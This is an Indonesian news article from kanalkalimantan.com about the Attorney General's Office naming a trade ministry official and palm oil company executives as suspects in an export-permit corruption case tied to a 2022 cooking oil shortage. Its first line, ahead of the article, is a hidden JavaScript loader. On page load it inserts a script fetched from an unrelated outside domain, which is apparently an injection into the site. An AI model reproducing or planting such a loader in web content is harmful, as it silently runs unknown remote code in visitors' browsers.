(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Sejumlah pejabat tinggi dan pengusaha ditetapkan oleh Kejaksaan Agung (Kejagung) jadi tersangka kasus mafia minyak goreng atau pemberian fasilitas ekspor minyak sawit mentah (Crude Palm Oil/CPO) yang dduga kuat jadi penyebab kelangkaan minyak goreng di tanah air.
Pada Selasa (19/4/2022) kemarin, Dirjen Perdagangan Luar Negeri kementerian Perdagangan (Kemendag) Indrasari Wishnu Wardhana, Senior Manager Corporate Affair Permata Hijau Grup Stanley MA, Komisaris Utama PT Wilmar Nabati Indonesia Master Parulian Tumanggor dan, General Manager di Bagian General Affair PT Musim Mas berinisial PT.
Dalam keterangan resminya, Jaksa Agung ST Burhanuddin menjelaskan, pengungkapan kasus ini bermula dari kelangkaan minyak goreng sejak awal tahun ini.
“Kelangkaan minyak goreng ini ironis sekali karena Indonesia adalah produsen CPO terbesar di dunia,” kata Burhanuddin kepada wartawan, Selasa (19/4/2022).
Baca juga: Jembatan Lampihong Peninggalan Belanda Segera Diperbaiki
Pihaknya lantas menerima arahan dari Presiden Joko Widodo (Jokowi) agar lembaga negara segera bergerak mendalami hal ini.
Setelah Kejagung mulai penyelidikan, didapati adanya dugaan tindak pidana korupsi terkait pemberian izin ekspor minyak goreng ke luar negeri.
Kasus ini sudah diendus oleh pihak berwenang sejak awal tahun 2021 silam. Saat itu, Kementerian Perdagangan sudah mengambil aturan Domestic Market Obligation (DMO) dan Domestic Price Obligation (DPO) pada perusahaan penghasil minyak goreng.
Kebijakan ini disusul dengan adanya Harga Eceran Tertinggi (HET) pada penjualan minyak goreng dalam negeri.
“Namun pelaksanaannya, perusahaan eksportir tidak memenuhi DPO. Namun tetap memberikan persetujuan ekspor,” jelasnya.
Setidaknya ada 19 saksi yang diperiksa dalam kasus ini, serta 596 dokumen juga diteliti hingga akhirnya pihak berwajib menemukan dua alat bukti cukup untuk dapat menetapkan tersangka dalam kasus ini.
Keempat tersangka diatas diketahui melakukan komunikasi aktif demi mendapatkan persetujuan ekspor meski seharusnya mereka tidak mendapatkan izin.
Baca juga: Korban Meninggal Dunia Alfamart Ambruk Jadi 5 Orang, Hanafi Hembuskan Nafas di RSI Sultan Agung
Sebelumnya, Kepala Pusat Penerangan Hukum Kejagung Ketut Sumedana juga mengungkapkan penyidik Kejagung sudah menemukan bukti kuat adanya gratifikasi persetujuan ekspor dari Kementerian Pedagangan kepada anak usaha Wings Food Group yaitu PT Karya Indah Alam Sejahtera dan PT Mikie Oleo Nabati Industri.
Padahal, PT Karya Indah Alam Sejahtera dan PT Mikie Oleo Nabati Industri tidak memenuhi syarat ekspor karena tidak menaati aturan DMO-DPO. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.